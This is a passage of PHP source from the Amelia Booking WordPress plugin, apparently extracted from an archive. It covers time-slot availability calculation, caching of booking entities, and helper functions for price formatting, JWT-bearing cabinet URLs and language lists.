getBccSms() { /** @var \AmeliaBooking\Domain\Services\Settings\SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $bccSms = $settingsDS->getSetting('notifications', 'bccSms'); return ($bccSms !== '') ? explode(',', $bccSms) : []; } } Services/TimeSlot/TimeSlotService.php 0000666 00000042035 15165412624 0013677 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\TimeSlot; use AmeliaBooking\Application\Services\Booking\EventApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Entity\Booking\SlotsEntities; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Booking\SlotsEntitiesFactory; use AmeliaBooking\Domain\Services\Entity\EntityService; use AmeliaBooking\Domain\Services\Resource\AbstractResourceService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Services\TimeSlot\TimeSlotService as DomainTimeSlotService; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\Status; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ResourceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use AmeliaBooking\Infrastructure\Services\Google\GoogleCalendarService; use AmeliaBooking\Infrastructure\Services\Outlook\OutlookCalendarService; use DateTime; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class TimeSlotService * * @package AmeliaBooking\Application\Services\TimeSlot */ class TimeSlotService { /** @var Container $container */ private $container; /** * TimeSlotService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param Service $service * @param DateTime $requiredDateTime * @param int $providerId * @param int|null $locationId * @param array $selectedExtras * @param int $excludeAppointmentId * @param int $personsCount * @param boolean $isFrontEndBooking * * @return boolean * @throws QueryExecutionException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws ContainerException * @throws Exception */ public function isSlotFree( $service, $requiredDateTime, $providerId, $locationId, $selectedExtras, $excludeAppointmentId, $personsCount, $isFrontEndBooking ) { $dateKey = $requiredDateTime->format('Y-m-d'); $timeKey = $requiredDateTime->format('H:i'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var EntityService $entityService */ $entityService = $this->container->get('domain.entity.service'); $minimumBookingDateTime = $this->getMinimumDateTimeForBooking( '', $isFrontEndBooking, $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToBooking() ); if ($requiredDateTime < $minimumBookingDateTime) { return false; } $searchStartDateTime = clone $requiredDateTime; $searchStartDateTime->modify('-1 days'); $searchEndDateTime = clone $requiredDateTime; $searchEndDateTime->modify('+1 days'); /** @var SlotsEntities $slotsEntities */ $slotsEntities = $this->getSlotsEntities( [ 'isFrontEndBooking' => $isFrontEndBooking, 'providerIds' => [$providerId], ] ); /** @var Service $slotEntitiesService */ foreach ($slotsEntities->getServices()->getItems() as $slotEntitiesService) { if ($slotEntitiesService->getId()->getValue() === $service->getId()->getValue()) { $slotEntitiesService->setDuration($service->getDuration()); break; } } $settings = $this->getSlotsSettings($isFrontEndBooking, $slotsEntities); $props = [ 'startDateTime' => $searchStartDateTime, 'endDateTime' => $searchEndDateTime, 'serviceId' => $service->getId()->getValue(), 'providerIds' => [$providerId], 'locationId' => $locationId, 'extras' => $selectedExtras, 'excludeAppointmentId' => $excludeAppointmentId, 'personsCount' => $personsCount, 'isFrontEndBooking' => $isFrontEndBooking, ]; /** @var SlotsEntities $filteredSlotEntities */ $filteredSlotEntities = $entityService->getFilteredSlotsEntities( $settings, $props, $slotsEntities ); $freeSlots = $this->getSlotsByProps( $settings, $props, $filteredSlotEntities ); return array_key_exists($dateKey, $freeSlots['available']) && array_key_exists($timeKey, $freeSlots['available'][$dateKey]); } /** * @param string $requiredBookingDateTimeString * @param boolean $isFrontEndBooking * @param string $minimumTime * * @return DateTime * @throws Exception */ public function getMinimumDateTimeForBooking($requiredBookingDateTimeString, $isFrontEndBooking, $minimumTime) { $requiredTimeOffset = $isFrontEndBooking ? $minimumTime : 0; $minimumBookingDateTime = DateTimeService::getNowDateTimeObject()->modify("+{$requiredTimeOffset} seconds"); $requiredBookingDateTime = DateTimeService::getCustomDateTimeObject($requiredBookingDateTimeString); $minimumDateTime = ($minimumBookingDateTime > $requiredBookingDateTime || $minimumBookingDateTime->format('Y-m-d') === $requiredBookingDateTime->format('Y-m-d') ) ? $minimumBookingDateTime : $requiredBookingDateTime->setTime(0, 0, 0); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $pastAvailableDays = $settingsDS->getSetting('general', 'backendSlotsDaysInPast'); if (!$isFrontEndBooking && $pastAvailableDays) { $minimumDateTime->modify("-{$pastAvailableDays} days"); } return $minimumDateTime; } /** * @param string $requiredBookingDateTimeString * @param boolean $isFrontEndBooking * @param int $maximumTime * * @return DateTime * @throws Exception */ public function getMaximumDateTimeForBooking($requiredBookingDateTimeString, $isFrontEndBooking, $maximumTime) { /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $futureAvailableDays = $settingsDS->getSetting('general', 'backendSlotsDaysInFuture'); $days = $maximumTime > $futureAvailableDays ? $maximumTime : $futureAvailableDays; $daysAvailableForBooking = $isFrontEndBooking ? $maximumTime : $days; $maximumBookingDateTime = DateTimeService::getNowDateTimeObject()->modify("+{$daysAvailableForBooking} day"); $requiredBookingDateTime = $requiredBookingDateTimeString ? DateTimeService::getCustomDateTimeObject($requiredBookingDateTimeString) : $maximumBookingDateTime; return ($maximumBookingDateTime < $requiredBookingDateTime || $maximumBookingDateTime->format('Y-m-d') === $requiredBookingDateTime->format('Y-m-d') ) ? $maximumBookingDateTime : $requiredBookingDateTime; } /** * get provider id values for appointments fetch needed for slot calculation * * @param Collection $providers * @param Collection $resources * * @return array */ private function getAppointmentsProvidersIds($providers, $resources) { /** @var AbstractResourceService $resourceService */ $resourceService = $this->container->get('domain.resource.service'); if ($resources->length()) { $resourcesProvidersIds = $resourceService->getResourcesProvidersIds($resources); return $resourcesProvidersIds ? array_unique(array_merge($providers->keys(), $resourcesProvidersIds)) : []; } return $providers->keys(); } /** * add busy appointments to providers from google calendar events, outlook calendar events and amelia events * * @param Collection $providers * @param array $props * * @return void * @throws ContainerException * @throws Exception */ public function setBlockerAppointments($providers, $props) { /** @var GoogleCalendarService $googleCalendarService */ $googleCalendarService = $this->container->get('infrastructure.google.calendar.service'); /** @var OutlookCalendarService $outlookCalendarService */ $outlookCalendarService = $this->container->get('infrastructure.outlook.calendar.service'); /** @var EventApplicationService $eventApplicationService */ $eventApplicationService = $this->container->get('application.booking.event.service'); if ($googleCalendarService) { try { $googleCalendarService->removeSlotsFromGoogleCalendar( $providers, $props['excludeAppointmentId'], $props['startDateTime'], $props['endDateTime'] ); } catch (Exception $e) { } } if ($outlookCalendarService) { try { $outlookCalendarService->removeSlotsFromOutlookCalendar( $providers, $props['excludeAppointmentId'], $props['startDateTime'], $props['endDateTime'] ); } catch (Exception $e) { } } $eventApplicationService->removeSlotsFromEvents( $providers, [ DateTimeService::getCustomDateTimeObject($props['startDateTime']->format('Y-m-d H:i:s')) ->modify('-10 day') ->format('Y-m-d H:i:s'), DateTimeService::getCustomDateTimeObject($props['startDateTime']->format('Y-m-d H:i:s')) ->modify('+2 years') ->format('Y-m-d H:i:s') ] ); } /** * add busy appointments to providers from google calendar events, outlook calendar events and amelia events * * @param array $props * @param SlotsEntities $slotsEntities * * @return Collection * @throws Exception */ public function getBookedAppointments($slotsEntities, $props) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var Collection $appointments */ $appointments = new Collection(); $startDateTime = DateTimeService::getCustomDateTimeObjectInUtc($props['startDateTime']->format('Y-m-d H:i:s')) ->format('Y-m-d H:i:s'); if ($props['startDateTime']->format('Y-m-d') == DateTimeService::getNowDateTimeObjectInUtc()->format('Y-m-d')) { $startDateTime = DateTimeService::getCustomDateTimeObjectInUtc($props['startDateTime']->format('Y-m-d H:i:s')) ->setTime(0, 0, 0) ->format('Y-m-d H:i:s'); } $appointmentRepository->getFutureAppointments( $appointments, $this->getAppointmentsProvidersIds( $slotsEntities->getProviders(), $slotsEntities->getResources() ), $startDateTime, DateTimeService::getCustomDateTimeObjectInUtc($props['endDateTime']->format('Y-m-d H:i:s')) ->modify('+1 day') ->format('Y-m-d H:i:s') ); return $appointments; } /** * get slot settings * * @param bool $isFrontEndBooking * @param SlotsEntities $slotsEntities * * @return array * @throws ContainerException */ public function getSlotsSettings($isFrontEndBooking, $slotsEntities) { /** @var SettingsService $settingsDomainService */ $settingsDomainService = $this->container->get('domain.settings.service'); /** @var UserApplicationService $userApplicationService */ $userApplicationService = $this->container->get('application.user.service'); /** @var \AmeliaBooking\Application\Services\Settings\SettingsService $settingsApplicationService */ $settingsApplicationService = $this->container->get('application.settings.service'); return [ 'allowAdminBookAtAnyTime' => !$isFrontEndBooking && $userApplicationService->isAdminAndAllowedToBookAtAnyTime(), 'isGloballyBusySlot' => $settingsDomainService->getSetting('appointments', 'isGloballyBusySlot') && !$slotsEntities->getResources()->length(), 'allowBookingIfPending' => $settingsDomainService->getSetting('appointments', 'allowBookingIfPending'), 'allowBookingIfNotMin' => $settingsDomainService->getSetting('appointments', 'allowBookingIfNotMin'), 'openedBookingAfterMin' => $settingsDomainService->getSetting('appointments', 'openedBookingAfterMin'), 'timeSlotLength' => $settingsDomainService->getSetting('general', 'timeSlotLength'), 'serviceDurationAsSlot' => $settingsDomainService->getSetting('general', 'serviceDurationAsSlot'), 'bufferTimeInSlot' => $settingsDomainService->getSetting('general', 'bufferTimeInSlot'), 'globalDaysOff' => $settingsApplicationService->getGlobalDaysOff(), ]; } /** * @param array $props * * @return SlotsEntities * @throws InvalidArgumentException * @throws QueryExecutionException */ public function getSlotsEntities($props) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var ResourceRepository $resourceRepository */ $resourceRepository = $this->container->get('domain.bookable.resource.repository'); /** @var Collection $services */ $services = $serviceRepository->getWithExtras( !empty($props['serviceCriteria']) ? $props['serviceCriteria'] : [] ); /** @var Collection $providers */ $providers = $providerRepository->getWithSchedule( array_merge( [ 'providers' => $props['providerIds'], ], $props['isFrontEndBooking'] ? ['providerStatus' => Status::VISIBLE] : [] ) ); /** @var Collection $locations */ $locations = $locationRepository->getAllIndexedById(); /** @var Collection $resources */ $resources = $resourceRepository->getByCriteria(['status' => Status::VISIBLE]); /** @var SlotsEntities $slotEntities */ $slotEntities = SlotsEntitiesFactory::create(); $slotEntities->setServices($services); $slotEntities->setProviders($providers); $slotEntities->setLocations($locations); $slotEntities->setResources($resources); return $slotEntities; } /** * @param array $settings * @param array $props * @param SlotsEntities $slotsEntities * * @return array * @throws ContainerException * @throws Exception */ public function getSlotsByProps($settings, $props, $slotsEntities) { /** @var DomainTimeSlotService $timeSlotService */ $timeSlotService = $this->container->get('domain.timeSlot.service'); /** @var Provider $provider */ foreach ($slotsEntities->getProviders()->getItems() as $provider) { $provider->setAppointmentList(new Collection()); } $this->setBlockerAppointments($slotsEntities->getProviders(), $props); return $timeSlotService->getSlots( $settings, $props, $slotsEntities, $this->getBookedAppointments($slotsEntities, $props) ); } } Services/Stash/StashApplicationService.php 0000666 00000040100 15165412624 0014716 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Stash; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Package; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageService; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\CustomField\CustomField; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Bookable\Service\ServiceFactory; use AmeliaBooking\Domain\Factory\Location\LocationFactory; use AmeliaBooking\Domain\Factory\User\ProviderFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\Services\User\ProviderService; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventTagsRepository; use AmeliaBooking\Infrastructure\Repository\CustomField\CustomFieldRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use Interop\Container\Exception\ContainerException; /** * Class StashApplicationService * * @package AmeliaBooking\Application\Stash */ class StashApplicationService { private $container; /** * StashApplicationService constructor. * * @param Container $container * */ public function __construct(Container $container) { $this->container = $container; } /** * @param array $daysOffNew * * @return void * @throws QueryExecutionException * @throws InvalidArgumentException * @throws ContainerException */ public function setStash($daysOffNew = null) { /** @var SettingsService $settingsDomainService */ $settingsDomainService = $this->container->get('domain.settings.service'); /** @var ProviderApplicationService $providerAS */ $providerAS = $this->container->get('application.user.provider.service'); /** @var ProviderService $providerService */ $providerService = $this->container->get('domain.user.provider.service'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var CustomFieldRepository $customFieldRepository */ $customFieldRepository = $this->container->get('domain.customField.repository'); /** @var EventTagsRepository $eventTagsRepository */ $eventTagsRepository = $this->container->get('domain.booking.event.tag.repository'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var Collection $events */ $events = $eventRepository->getFiltered(['dates' => [DateTimeService::getNowDateTime()], 'show' => 1]); /** @var Collection $services */ $services = $serviceRepository->getAllArrayIndexedById(); /** @var Collection $locations */ $locations = $locationRepository->getAllOrderedByName(); /** @var Collection $providers */ $providers = $providerRepository->getWithSchedule([]); $entitiesRelations = []; /** @var Provider $provider */ foreach ($providers->getItems() as $providerId => $provider) { $providerService->setProviderServices($provider, $services, true); if ($data = $providerAS->getProviderServiceLocations($provider, $locations, $services, true)) { $entitiesRelations[$providerId] = $data; } } /** @var Collection $availableLocations */ $availableLocations = new Collection(); /** @var Collection $availableServices */ $availableServices = new Collection(); /** @var Collection $availableProviders */ $availableProviders = new Collection(); foreach ($entitiesRelations as $providerId => $providerServiceRelations) { foreach ($providerServiceRelations as $serviceId => $serviceLocationRelations) { foreach ($serviceLocationRelations as $locationId) { if ($locationId && !$availableLocations->keyExists($locationId)) { $availableLocations->addItem($locations->getItem($locationId), $locationId); } } if (!$availableServices->keyExists($serviceId)) { $availableServices->addItem($services->getItem($serviceId), $serviceId); } } $availableProviders->addItem($providers->getItem($providerId), $providerId); } /** @var \AmeliaBooking\Application\Services\Settings\SettingsService $settingsAS*/ $settingsAS = $this->container->get('application.settings.service'); $daysOff = $settingsAS->getDaysOff($daysOffNew); $resultData = [ 'categories' => [], 'employees' => [], 'locations' => [], 'customFields' => [], 'tags' => [], 'packages' => [], 'settings' => [ 'daysOff' => $daysOff ], ]; /** @var Event $event */ foreach ($events->getItems() as $event) { if ($event->getLocationId() && !$availableLocations->keyExists($event->getLocationId()->getValue())) { $availableLocations->addItem( $locations->getItem($event->getLocationId()->getValue()), $event->getLocationId()->getValue() ); } } /** @var Collection $eventsTags */ $eventsTags = $eventTagsRepository->getAllDistinctByCriteria([]); $resultData['tags'] = $eventsTags->toArray(); if ($locations->length() && !$availableLocations->length()) { $settingsDomainService->setStashEntities($resultData); return; } /** @var Location $location */ foreach ($availableLocations->getItems() as $location) { $resultData['locations'][] = [ 'id' => $location->getId()->getValue(), 'name' => $location->getName()->getValue(), 'status' => $location->getStatus()->getValue(), 'translations' => $location->getTranslations() ? $location->getTranslations()->getValue() : null ]; } /** @var Collection $categories */ $categories = $categoryRepository->getAllIndexedById(); $availableCategories = new Collection(); /** @var Service $service */ foreach ($availableServices->getItems() as $service) { if (!$availableCategories->keyExists($service->getCategoryId()->getValue())) { /** @var Category $category */ $category = $categories->getItem($service->getCategoryId()->getValue()); $category->setServiceList(new Collection()); $availableCategories->addItem( $category, $service->getCategoryId()->getValue() ); } /** @var Category $category */ $category = $availableCategories->getItem($service->getCategoryId()->getValue()); $category->getServiceList()->addItem($service, $service->getId()->getValue()); } $resultData['categories'] = $availableCategories->toArray(); /** @var Provider $provider */ foreach ($availableProviders->getItems() as $provider) { $providerData = [ 'id' => $provider->getId()->getValue(), 'firstName' => $provider->getFirstName()->getValue(), 'lastName' => $provider->getLastName()->getValue(), 'email' => $provider->getEmail()->getValue(), 'status' => $provider->getStatus()->getValue(), 'pictureFullPath' => $provider->getPicture() ? $provider->getPicture()->getFullPath() : null, 'pictureThumbPath' => $provider->getPicture() ? $provider->getPicture()->getThumbPath() : null, 'locationId' => $provider->getLocationId() ? $provider->getLocationId()->getValue() : null, 'serviceList' => [], 'weekDayList' => $provider->getWeekDayList()->toArray(), 'dayOffList' => $provider->getDayOffList()->toArray(), 'specialDayList' => $provider->getSpecialDayList()->toArray(), 'translations' => $provider->getTranslations() ? $provider->getTranslations()->getValue() : null, 'description' => $provider->getDescription() ? $provider->getDescription()->getValue() : null, ]; /** @var Service $service */ foreach ($provider->getServiceList()->getItems() as $service) { if ($availableServices->keyExists($service->getId()->getValue())) { $providerData['serviceList'][] = [ 'id' => $service->getId()->getValue(), 'price' => $service->getPrice()->getValue(), 'duration' => $service->getDuration()->getValue(), 'customPricing' => $service->getCustomPricing() ? $service->getCustomPricing()->getValue() : null, 'minCapacity' => $service->getMinCapacity()->getValue(), 'maxCapacity' => $service->getMaxCapacity()->getValue(), 'status' => $service->getStatus()->getValue(), 'categoryId' => $service->getCategoryId()->getValue() ]; } } $resultData['employees'][] = $providerData; } /** @var Collection $customFields */ $customFields = $customFieldRepository->getAll(); /** @var CustomField $customField */ foreach ($customFields->getItems() as $customField) { $customFieldData = array_merge( $customField->toArray(), [ 'services' => [], 'events' => [] ] ); /** @var Service $service */ foreach ($customField->getServices()->getItems() as $service) { $customFieldData['services'][] = [ 'id' => $service->getId()->getValue() ]; } /** @var Event $event */ foreach ($customField->getEvents()->getItems() as $event) { $customFieldData['events'][] = [ 'id' => $event->getId()->getValue() ]; } $resultData['customFields'][] = $customFieldData; } /** @var PackageRepository $packageRepository */ $packageRepository = $this->container->get('domain.bookable.package.repository'); /** @var Collection $packages */ $packages = $packageRepository->getByCriteria([]); /** @var Package $package */ foreach ($packages->getItems() as $package) { $packageData = array_merge( $package->toArray(), ['bookable' => []] ); /** @var PackageService $bookable */ foreach ($package->getBookable()->getItems() as $bookable) { $bookableData = array_merge( $bookable->toArray(), [ 'service' => ['id' => $bookable->getService()->getId()->getValue()], 'providers' => [], 'locations' => [], ] ); /** @var Provider $provider */ foreach ($bookable->getProviders()->getItems() as $provider) { $bookableData['providers'][] = [ 'id' => $provider->getId()->getValue() ]; } /** @var Location $location */ foreach ($bookable->getLocations()->getItems() as $location) { $bookableData['locations'][] = [ 'id' => $location->getId()->getValue() ]; } $packageData['bookable'][] = $bookableData; } $resultData['packages'][] = $packageData; } $settingsDomainService->setStashEntities($resultData); } /** * @return array * @throws InvalidArgumentException */ public function getStash() { /** @var ProviderApplicationService $providerAS */ $providerAS = $this->container->get('application.user.provider.service'); /** @var SettingsService $settingsDomainService */ $settingsDomainService = $this->container->get('domain.settings.service'); $entitiesData = $settingsDomainService->getStashEntities(); if ($entitiesData) { /** @var Collection $locations */ $locations = new Collection(); foreach ($entitiesData['locations'] as $locationData) { $locations->addItem(LocationFactory::create($locationData), $locationData['id']); } /** @var Collection $services */ $services = new Collection(); foreach ($entitiesData['categories'] as $categoryData) { foreach ($categoryData['serviceList'] as $serviceData) { $services->addItem(ServiceFactory::create($serviceData), $serviceData['id']); } } /** @var Collection $providers */ $providers = new Collection(); foreach ($entitiesData['employees'] as &$employeeData) { $employeeData['type'] = AbstractUser::USER_ROLE_PROVIDER; $providers->addItem(ProviderFactory::create($employeeData), $employeeData['id']); unset( $employeeData['email'], $employeeData['weekDayList'], $employeeData['specialDayList'], $employeeData['dayOffList'] ); } $entitiesRelations = []; /** @var Provider $provider */ foreach ($providers->getItems() as $providerId => $provider) { if ($data = $providerAS->getProviderServiceLocations($provider, $locations, $services)) { $entitiesRelations[$providerId] = $data; } } $currentDateTime = DateTimeService::getNowDateTimeObject(); foreach ($entitiesData['packages'] as &$packageData) { $packageData['available'] = !$packageData['endDate'] || DateTimeService::getCustomDateTimeObject($packageData['endDate']) > $currentDateTime; } $entitiesData['entitiesRelations'] = $entitiesRelations; } return $entitiesData; } } Services/Helper/HelperService.php 0000666 00000101570 15165412624 0013035 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Helper; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Factory\Booking\Appointment\AppointmentFactory; use AmeliaBooking\Domain\Factory\Booking\Event\EventFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Number\Integer\LoginType; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaFirebase\JWT\JWT; use Interop\Container\Exception\ContainerException; use DateTime; use Exception; /** * Class HelperService * * @package AmeliaBooking\Application\Services\Helper */ class HelperService { private $container; /** * HelperService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** * Returns formatted price based on price plugin settings * * @param int|float $price * * @return string * @throws ContainerException */ public function getFormattedPrice($price) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $paymentSettings = $settingsService->getCategorySettings('payments'); // Price Separators $thousandSeparatorMap = [',', '.', ' ', ' ']; $decimalSeparatorMap = ['.', ',', '.', ',']; $thousandSeparator = $thousandSeparatorMap[$paymentSettings['priceSeparator'] - 1]; $decimalSeparator = $decimalSeparatorMap[$paymentSettings['priceSeparator'] - 1]; // Price Prefix $pricePrefix = ''; if ($paymentSettings['priceSymbolPosition'] === 'before') { $pricePrefix = $paymentSettings['symbol']; } elseif ($paymentSettings['priceSymbolPosition'] === 'beforeWithSpace') { $pricePrefix = $paymentSettings['symbol'] . ' '; } // Price Suffix $priceSuffix = ''; if ($paymentSettings['priceSymbolPosition'] === 'after') { $priceSuffix = $paymentSettings['symbol']; } elseif ($paymentSettings['priceSymbolPosition'] === 'afterWithSpace') { $priceSuffix = ' ' . $paymentSettings['symbol']; } $formattedNumber = number_format( $price, $paymentSettings['priceNumberOfDecimals'], $decimalSeparator, $thousandSeparator ); return $pricePrefix . $formattedNumber . $priceSuffix; } /** * @param int $seconds * * @return string */ public function secondsToNiceDuration($seconds) { $hours = floor($seconds / 3600); $minutes = $seconds / 60 % 60; return ($hours ? ($hours . 'h ') : '') . ($hours && $minutes ? ' ' : '') . ($minutes ? ($minutes . 'min') : ''); } /** * @param string $email * @param string $secret * @param int $expireTimeStamp * @param int $loginType * * @return mixed * @throws Exception */ public function getGeneratedJWT($email, $secret, $expireTimeStamp, $loginType) { $now = new DateTime(); $data = [ 'iss' => AMELIA_SITE_URL, 'iat' => $now->getTimestamp(), 'email' => $email, 'wp' => $loginType ]; if ($expireTimeStamp !== null) { $data['exp'] = $expireTimeStamp; } return JWT::encode($data, $secret); } /** * @param string $email * @param string $type * @param string $dateStartString * @param string $dateEndString * @param string $locale * * @return string * * @throws Exception */ public function getCustomerCabinetUrl($email, $type, $dateStartString, $dateEndString, $locale, $changePass = false) { /** @var SettingsService $cabinetSettings */ $cabinetSettings = $this->container->get('domain.settings.service')->getSetting('roles', 'customerCabinet'); $cabinetPlaceholder = ''; $usedLanguages = $this->container->get('domain.settings.service')->getSetting('general', 'usedLanguages'); $cabinetURL = trim( $locale && $usedLanguages && in_array($locale, $usedLanguages) && !empty($cabinetSettings['translations']['url'][$locale]) ? $cabinetSettings['translations']['url'][$locale] : $cabinetSettings['pageUrl'] ); if ($cabinetURL) { $tokenParam = $type === 'email' ? (strpos($cabinetURL, '?') === false ? '?token=' : '&token=') . $this->getGeneratedJWT( $email, $cabinetSettings['urlJwtSecret'], DateTimeService::getNowDateTimeObject()->getTimestamp() + $cabinetSettings['tokenValidTime'], LoginType::AMELIA_URL_TOKEN ) : ''; $cabinetPlaceholder = substr($cabinetURL, -1) === '/' ? substr($cabinetURL, 0, -1) . $tokenParam : $cabinetURL . $tokenParam; if ($cabinetSettings['filterDate'] && $dateStartString && $dateEndString) { $cabinetPlaceholder .= '&end=' . $dateEndString . '&start=' . $dateStartString; } if ($changePass) { $cabinetPlaceholder .= '&changePass=' . $changePass; } } return $cabinetPlaceholder; } /** * @param string $email * @param string $type * @param string $dateStartString * @param string $dateEndString * @param string $locale * * @return string * * @throws Exception */ public function getProviderCabinetUrl($email, $type, $dateStartString, $dateEndString, $changePass = false) { /** @var SettingsService $cabinetSettings */ $cabinetSettings = $this->container->get('domain.settings.service')->getSetting('roles', 'providerCabinet'); $cabinetPlaceholder = ''; $cabinetURL = trim($cabinetSettings['pageUrl']); if ($cabinetURL) { $tokenParam = $type === 'email' ? (strpos($cabinetURL, '?') === false ? '?token=' : '&token=') . $this->getGeneratedJWT( $email, $cabinetSettings['urlJwtSecret'], DateTimeService::getNowDateTimeObject()->getTimestamp() + $cabinetSettings['tokenValidTime'], LoginType::AMELIA_URL_TOKEN ) : ''; $cabinetPlaceholder = substr($cabinetURL, -1) === '/' ? substr($cabinetURL, 0, -1) . $tokenParam : $cabinetURL . $tokenParam; if ($cabinetSettings['filterDate'] && $dateStartString && $dateEndString) { $cabinetPlaceholder .= '&end=' . $dateEndString . '&start=' . $dateStartString; } if ($changePass) { $cabinetPlaceholder .= '&changePass=' . $changePass; } } return $cabinetPlaceholder; } /** * @param string $bookingInfo * @param string $entityTranslation * @param string $type * * @return array */ public function getBookingTranslation($locale, $entityTranslation, $type) { $entityTranslation = !empty($entityTranslation) ? json_decode($entityTranslation, true) : null; if ($locale) { if ($type === null) { return $entityTranslation && !empty($entityTranslation[$locale]) ? $entityTranslation[$locale] : null; } else { return $entityTranslation && !empty($entityTranslation[$type][$locale]) ? $entityTranslation[$type][$locale] : null; } } return null; } /** * @param string $bookingInfo * @return String */ public function getLocaleFromBooking($bookingInfo) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $usedLanguages = $settingsService->getSetting('general', 'usedLanguages'); $bookingInfo = !empty($bookingInfo) ? json_decode($bookingInfo, true) : null; return $bookingInfo && !empty($bookingInfo['locale']) ? $this->getLocaleLanguage($usedLanguages, $bookingInfo['locale'])[0] : null; } /** * @param array $usedLanguages * @param string $locale * @return array */ public function getLocaleLanguage($usedLanguages, $locale) { $finalLanguages = []; foreach ($usedLanguages as $language) { if (explode('_', $language)[0] === explode('_', $locale)[0]) { $finalLanguages[] = $language; } } return empty($finalLanguages) ? [$locale] : $finalLanguages; } /** * @return array */ public static function getLanguages() { return array( 'af' => array( 'name' => 'Afrikaans', 'code' => 'af', 'wp_locale' => 'af', 'country_code' => 'za' ) , 'ar' => array( 'name' => 'Arabic', 'code' => 'ar', 'wp_locale' => 'ar', 'country_code' => 'sa' ) , 'ary' => array( 'name' => 'Moroccan Arabic', 'code' => 'ary', 'wp_locale' => 'ary', 'country_code' => 'ma' ) , 'as' => array( 'name' => 'Assamese', 'code' => 'as', 'wp_locale' => 'as', 'country_code' => 'in' ) , 'azb' => array( 'name' => 'South Azerbaijani', 'code' => 'azb', 'wp_locale' => 'azb', 'country_code' => 'az' ) , 'az' => array( 'name' => 'Azerbaijani', 'code' => 'az', 'wp_locale' => 'az', 'country_code' => 'az' ) , 'bel' => array( 'name' => 'Belarusian', 'code' => 'bel', 'wp_locale' => 'bel', 'country_code' => 'by' ) , 'bg_BG' => array( 'name' => 'Bulgarian', 'code' => 'bg', 'wp_locale' => 'bg_BG', 'country_code' => 'bg' ) , 'bn_BD' => array( 'name' => 'Bengali', 'code' => 'bn', 'wp_locale' => 'bn_BD', 'country_code' => 'bd' ) , 'bo' => array( 'name' => 'Tibetan', 'code' => 'bo', 'wp_locale' => 'bo', 'country_code' => 'cn' 